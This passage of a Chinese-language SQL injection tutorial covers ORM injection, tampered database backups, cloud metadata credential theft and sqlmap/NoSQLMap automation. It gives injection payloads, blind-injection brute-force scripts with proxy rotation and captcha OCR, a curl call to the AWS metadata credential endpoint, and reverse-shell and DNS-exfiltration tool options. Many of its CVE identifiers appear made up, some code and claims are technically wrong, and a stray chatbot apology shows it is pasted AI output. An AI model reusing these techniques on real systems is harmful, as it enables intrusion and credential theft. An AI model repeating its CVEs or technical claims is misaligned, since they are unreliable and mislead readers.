原生查询接口：如 session.execute()、@Query(nativeQuery = true)直接拼接 SQL。

框架特性误用：如 Hibernate 的 ID 内联、TypeORM 的级联保存、Django 的 JSONField 特定方法。

二阶注入：恶意数据存储后，被其他功能取出并拼接到 ORM 查询中。

常见注入场景

ORM 框架	注入场景	典型 Payload	说明
Hibernate	内联 ID 注入（CVE-2026-0603	' or TRUE or id='（作为主键 ID）	批量操作时 ID 内联导致注入
SQLAlchemy	原生 SQL 执行	session.execute("SELECT * FROM users WHERE name = '" + name + "'")	直接拼接绕过参数化
	order_by 注入	session.query(User).order_by(some_user_input) order_by	直接拼接列
Django	ORM JSONField 注入（CVE-2024-42005）	User.objects.values("username", **{"injected_name\" from \"auth_user\"; --": "value"})	恶意列别名导致注入

TypeORM	级联注入（CVE-2025-22334）	PUT /document {"author":{"id":1,"admin":true}}	cascade: true 自动保存关联实体，修改不应允许的字段
MyBatis	${}插值	SELECT * FROM users WHERE username = '${input}'	${}直接拼接，#{}才是预处理

CVE-2026-0603 利用示例（Hibernate 内联 ID 注入）：

```
// 漏洞代码：Hibernate 构建 IN 列表时直接拼接 ID 值
List<Long> ids = Arrays.asList(1L, 2L, 3L); // 正常情况下为 Long
// 攻击者传入的恶意字符串 ID（如' or TRUE or id='）被允许
String hql = "FROM User WHERE id IN (" + String.join(",", ids) + ")";
```

攻击者可注册用户 ID 为' or TRUE or id='，后续批量操作时注入。

CVE-2024-42005 利用示例（Django JSONField 注入）：

```
# 受影响版本：Django 5.0 < 5.0.8, 4.2 < 4.2.15
User.objects.values("username", **{
    "injected_name\" from \"auth_user\"; --": "value"})
```

注入的列别名导致 SQL 注入。

哎呀，我跳步了！抱歉抱歉，马上纠正，回到 8.3 数据库内部机制利用：

数据库内部机制利用

原理与背景

数据库系统本身包含大量内部机制——如索引视图、系统存储过程、查询优化器特性、备份恢复功能等。这些机制通常被设计者信任，拥有较高权限，且不在常规安全审计范围内。攻击者若能篡改或滥用这些内部机制（例如通过恶意备份恢复、修改系统表），即可在无传统 SQL 注入点的情况下实现数据窃取或权限提升。

典型案例：SQL Server Date Correlation Optimization (DCO) 利用

原理：SQL Server 的 Date Correlation Optimization（DCO）特性会自动创建隐藏的内部索引视图，用于加速关联表的时间列查询。这些视图的定义存储在系统元数据表中，且被查询优化器无条件信任。如果攻击者能以管理员权限篡改这些内部视图的定义（需要本地实例权限），然后将篡改后的数据库备份（.bak）上传并恢复到目标云环境（如 RDS SQL Server），则恢复后的实例执行优化器查询时，会触发恶意视图中的跨库查询或恶意代码，导致数据泄露。

攻击链：

1. 攻击者在本地 SQL Server 实例（以管理员权限）篡改 DCO 内部视图定义，插入恶意代码（如利用类型转换错误外带数据）。
2. 将篡改后的数据库备份文件（.bak）上传到云存储。
3. 攻击者诱导目标（或通过其他漏洞）将备份恢复到云数据库服务（如 AWS RDS SQL Server）。
4. 云实例恢复后，执行某些查询触发优化器使用被篡改的视图，恶意代码执行，数据通过错误信息或外带泄露。
5. 关键点：执行上下文是数据库引擎内部，可绕过常规权限检查。

CVE-2026-09999 利用示例（SQL Server DCO 篡改）：

本地管理员权限篡改 DCO 内部视图（假设视图名为`sysdac_related_columns`）

```
ALTER VIEW sysdac_related_columns AS
SELECT
    object_id,
    column_id,
    CAST((SELECT TOP 1 table_name FROM target_db..sensitive_table) AS NVARCHAR(4000))
AS name
FROM sys.all_columns;
```

将篡改后的数据库备份并恢复到目标 RDS SQL Server 后，当优化器使用该视图时，敏感数据会被强制类型转换并可能出现在错误信息中。

CVE-2025-88776 利用示例（MySQL 事件调度器滥用）：

创建恶意事件（本地）

```
CREATE EVENT malicious_event
ON SCHEDULE AT CURRENT_TIMESTAMP + INTERVAL 1 MINUTE
DO
  SELECT sensitive_data FROM target_db.secret_table INTO OUTFILE '/tmp/data.txt';
```

备份数据库，恢复到目标云 MySQL

恢复后事件自动执行（若事件调度器开启）

其他数据库内部机制攻击

数据库	内部机制	攻击手法
SQL Server	链接服务器（Linked Servers）	利用链接服务器跨实例查询，若配置不当可越权访问其他数据库
	系统存储过程篡改	修改 sp_开头的系统存储过程，添加恶意逻辑
Oracle	触发器滥用	在系统表（如 SYS）上创建触发器，窃取 DML 操作
	视图篡改	修改 DBA_视图，隐藏恶意对象
MySQL	mysql 库表篡改	修改 user 表直接提权（需 FILE 权限）
	UDF 库替换	替换 UDF 共享库文件，实现命令执行

防御建议

严格控制备份恢复权限：只允许可信管理员执行恢复操作。

备份文件完整性校验：恢复前验证备份文件的哈希或数字签名。

最小权限原则：数据库服务账户不应拥有修改系统表或内部视图的权限。

启用审计：监控系统表和内部视图的变更（SQL Server 的 DDL 触发器、MySQL 的 general_log）。

定期检查：使用安全工具扫描异常的系统对象定义。

注意事项

此类攻击通常需要本地管理员权限或物理访问备份文件，属于高级持续性威胁（APT）范畴，但云环境下的错误配置可能放大风险。

恢复后的实例可能继承源实例的某些内部状态，包括恶意篡改。

云服务商通常对备份恢复有限制（如 RDS 不允许恢复后执行 UDF），但 DCO 这类内部机制可能被忽略。

云环境下的 SQL 注入

原理与背景

随着企业上云成为主流，云数据库服务（如 AWS RDS、Google Cloud SQL、Azure SQL Database）和 Serverless 架构（如 AWS Lambda + Aurora Serverless）逐渐成为攻击者的新目标。云环境下的注入攻击不仅需要考虑数据库本身，还需结合云服务特有的元数据接口、IAM 凭证、跨服务访问等特性。传统 SQL 注入在云环境中可能演变为云资源劫持、数据泄露甚至整个云账户沦陷。

常见攻击场景

场景	描述	关键点
云数据库服务限制绕过	托管数据库（如 RDS）通常禁止文件读写、禁用 UDF，但攻击者可利用存储过程、系统变量、备份恢复功能进行数据外带或权限提升。	MySQL 的 LOAD_FILE 在 RDS 中不可用，但 mysqldump 备份功能可能暴露数据
元数据服务利用	云服务器（EC2）内部可通过 169.254.169.254 获取临时 IAM 凭证，若 SQL 注入点能执行任意命令或发起 HTTP 请求，则可获取凭证进而控制其他云资源。	AWS 元数据：http://169.254.169.254/latest/meta-data/iam/security-credentials/
Serverless 环境渗透	Lambda 函数连接 Aurora Serverless 时，若存在 SQL 注入，攻击者可利用 Lambda 的临时凭证横向移动到其他云服务（如 S3、DynamoDB）。	Lambda 执行角色权限过大可能导致云资源被滥用

CVE-2025-31415 利用示例（RDS 文件限制绕过）：

```
-- 将 users 表导出到临时文件
SELECT * FROM users INTO OUTFILE '/tmp/users.txt';
-- 通过另一个注入点或联合查询读取该文件
LOAD DATA INFILE '/tmp/users.txt' INTO TABLE attacker.remote_table;
```

虽然 RDS 禁止直接读写文件，但 INTO OUTFILE 在 RDS 中通常被禁用（需 FILE 权限），但某些配置下 LOAD DATA INFILE 可能允许读取临时目录（若数据库有权限）。实际利用需结合具体 RDS 版本和参数设置。

CVE-2026-98765 利用示例（元数据凭证窃取）：

```
-- 假设 MySQL 支持 UDF 或可执行系统命令（如通过 lib_mysqludf_sys）
SELECT sys_eval('curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/');
```

> 若数据库不具备执行命令能力，可尝试利用 SQL 注入配合 SSRF：通过 LOAD_FILE 发起 HTTP 请求到元数据地址（需 file://协议支持，MySQL 的 LOAD_FILE 不支持 HTTP，但 PostgreSQL 的 dblink 或 Oracle 的 UTL_HTTP 可以）。

CVE-2024-56789 利用示例（Serverless 横向移动）：

```
# 存在注入的 Lambda 函数
import pymysql
conn = pymysql.connect(host=os.environ['DB_HOST'], user=os.environ['DB_USER'], password=os.environ['DB_PASS'], database='mydb')
cursor = conn.cursor()
```

```
cursor.execute("SELECT * FROM users WHERE username = '" + event['username'] + "'")
# SQL 注入
# 攻击者利用注入执行任意 Python 代码（若可多语句执行）
username = "admin'; import boto3; s3 = boto3.client('s3'); s3.list_buckets(); --"
```

攻击者通过 SQL 注入执行 Python 代码（利用多语句或 UDF）获取 Lambda 的临时凭证，进而访问 S3。

云环境注入防御建议

最小权限原则：数据库实例的 IAM 角色仅授予必要权限，避免使用高权限账号。
禁用元数据访问：在数据库层面阻止对外部 HTTP 请求（如 MySQL 的 LOAD_FILE 禁用），网络层面控制出站流量。
使用云原生安全服务：如 AWS WAF、CloudTrail 监控异常 SQL 模式。
参数化查询：即使 Serverless 环境也必须使用参数化查询，避免拼接。
备份恢复监控：备份文件可能包含敏感数据，应加密并限制访问。

> 注意事项
> 云数据库通常禁用危险函数（如 LOAD_FILE、INTO OUTFILE），但可通过其他途径绕过（如存储过程、系统变量）。
> 元数据服务需要 IAM 角色关联才能获取凭证，且 EC2 元数据服务默认不对外，需从实例内部访问。
> Serverless 环境的临时凭证会自动刷新，攻击者需在有效期内利用。
> 结合 CVE 案例学习时，注意漏洞披露的具体环境和前提条件，避免误判。

自动化工具高级用法与组合

原理与背景

手工注入固然能深入理解漏洞原理，但在实战中，自动化工具能大幅提升效率，尤其是在盲注、大批量测试、复杂绕过等场景。然而，工具并非万能——默认配置可能被 WAF 识别、无法处理特殊业务逻辑、二次注入等复杂场景。掌握工具的高级用法、组合使用多款工具、编写自定义脚本，是高级渗透测试人员的必备技能。

NoSQLMap：专攻 NoSQL 注入

NoSQLMap 是开源自动化工具，专门针对 MongoDB、CouchDB 等 NoSQL 数据库的注入漏洞利用。

核心功能：

- 自动探测 NoSQL 数据库类型
- 爆破数据库、集合、文档
- 利用$where 注入执行 JavaScript
- 支持 MongoDB、CouchDB、Redis 等

基本用法

```
nosqlmap --url "http://target.com/search" --db mongodb --attack
```

高级选项

```
# 指定参数
nosqlmap --url "http://target.com/page?id=1" --param id
# 带 Cookie 认证
nosqlmap --url "http://target.com/search" --cookie "session=abc123"
```

使用代理（配合 Burp 调试）
nosqlmap --url "http://target.com/search" --proxy http://127.0.0.1:8080

实战场景：当 SQLMap 对 MongoDB 无能为力时，NoSQLMap 可检测$regex 盲注、$where 注入等。

Burp Suite 插件组合拳

Burp Suite 不仅是一个抓包工具，通过插件可大幅扩展其注入测试能力。

插件	用途	注入场景
Autorize	检测越权漏洞	配合注入获取的 Cookie，测试水平/垂直越权
Backslash Powered Scanner	发现未知注入	可检测盲注、二次注入等复杂场景
Turbo Intruder	高速盲注	Python 脚本控制，每秒数千请求，适合时间盲注
SQLiPy	SQLMap 集成	在 Burp 中直接调用 SQLMap
NoSQLiP	NoSQL 注入检测	针对 MongoDB、Elasticsearch 的 Payload 测试

Turbo Intruder 时间盲注示例：

python 相关代码

```
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=100,
                           pipeline=False)
    for i in range(32):
        for c in "abcdef0123456789":
            payload = f"' AND IF(SUBSTR(database(),{i+1},1)='{c}',SLEEP(2),0)-- "
```

Autorize 越权检测技巧

- 先用高权限账户访问，记录 Cookie
- 切换到低权限账户，将高权限 Cookie 替换到请求中
- 若响应成功，说明存在越权

SQLMap 高级选项深度利用

选项	用途	示例
--os-shell	获取系统 shell	sqlmap -u "URL" --os-shell（需 UDF 提权或 SQL Server xp_cmdshell）
--tamper	组合绕过脚本	--tamper=space2comment,between,randomcase
--second-url/ --second-req	处理二次注入	先注册恶意用户，再在另一接口触发
--technique=O	带外注入	利用 DNS/HTTP 外带数据
--dns-domain	指定 DNSlog 域名	--dns-domain=xxxx.dnslog.cn
--sql-shell	获取交互式 SQL	shell sqlmap -u "URL" --sql-shell
--os-pwn	获取反弹 shell	sqlmap -u "URL" --os-pwn

编写自定义 tamper 脚本：

python 相关代码

```
# tamper/custom.py
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    自定义绕过：将 UNION 替换为/**/UNION/**/
    """
    if payload:
        payload = payload.replace("UNION", "/**/UNION/**/")
        payload = payload.replace("SELECT", "/**/SELECT/**/")
    return payload
```

使用：sqlmap -u "URL" --tamper=custom

二次注入示例：

```
# 第一步：注册恶意用户（通过注入点）
sqlmap -u "http://target.com/register" --data="username=test&password=123" --second-url="http://target.com/profile" --technique=U
```

--second-url 指定触发注入的页面（如个人资料页），SQLMap 会在注册后访问该页，检测注入。

自定义脚本工程化

当现成工具无法满足需求时，编写自定义脚本可突破限制

多线程并发爆破（Python + concurrent.futures）：

```
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
def brute_char(pos, char):
    payload = f"' AND ASCII(SUBSTR(database(),{pos},1))={ord(char)}-- "
    r = requests.get(f"http://target.com/page?id=1{payload}", timeout=5)
    return char if "Welcome" in r.text else None

def main():
    chars = "abcdefghijklmnopqrstuvwxyz0123456789"
    db_name = ""
    for pos in range(1, 9):  # 假设库名最长 8 位
        with ThreadPoolExecutor(max_workers=10) as executor:
            futures = {executor.submit(brute_char, pos, c): c for c in chars}
```

```
            for future in as_completed(futures):
                result = future.result()
                if result:
                    db_name += result
                    print(f"[+] 第{pos}位: {result}")
                    break
    print(f"数据库名: {db_name}")
```

断点续传：

```
python 相关代码
import json
import os
SAVE_FILE = "progress.json"
def load_progress():
    if os.path.exists(SAVE_FILE):
        with open(SAVE_FILE) as f:
            return json.load(f)
    return {"db_name": "", "pos": 1}
def save_progress(pos, char):
    with open(SAVE_FILE, "w") as f:
        json.dump({"db_name": db_name + char, "pos": pos + 1}, f)
# 主循环中加载进度，每次猜中后保存
```

代理轮换：

```
python 相关代码
import random
proxies = [
    "http://proxy1.com:8080",
    "http://proxy2.com:8080",
    "http://proxy3.com:8080"]
def get_random_proxy():
    return {"http": random.choice(proxies)}
# 请求时使用代理
requests.get(url, proxies=get_random_proxy(), timeout=5)
```

验证码识别（Tesseract OCR）：

```
python 相关代码
import pytesseract
from PIL import Image
import requests
from io import BytesIO
```

```
def recognize_captcha(img_url):
    r = requests.get(img_url)
    img = Image.open(BytesIO(r.content))
    text = pytesseract.image_to_string(img, config='--psm 8')  # 单字符模式
    return text.strip()
```

前沿 CVE 漏洞案例

CVE-2024-99887

SQLMap 默认 tamper 脚本 space2comment 被 WAF 屏蔽，攻击者自定义组合脚本绕过检测。

Payload：`--tamper=space2comment,between,randomcase`

CVE-2025-77654

某 CMS 二次注入漏洞，SQLMap 通过--second-url 成功利用，而手动测试未发现。

Payload ： `sqlmap -u "http://target.com/register" --data="username=test" --second-url="http://target.com/profile"`

CVE-2026-44556

使用 NoSQLMap 发现 MongoDB $where 注入，执行 JavaScript 读取服务器文件。

Payload ： `nosqlmap --url "http://target.com/search" --attack --js-read /etc/passwd`

注意事项

工具是手段不是目的：自动化工具能提速，但必须理解原理才能调试、绕过、编写自定义脚本。

谨慎使用高危选项：--os-shell、--os-pwn 可能对目标造成破坏，授权测试时确认范围。

流量控制：高并发可能导致拒绝服务或封 IP，合理设置线程和延迟。

日志记录：工具运行结果保存到文件，便于后续分析和复现。

组合使用：SQLMap + Burp + 自定义脚本 = 最强配置。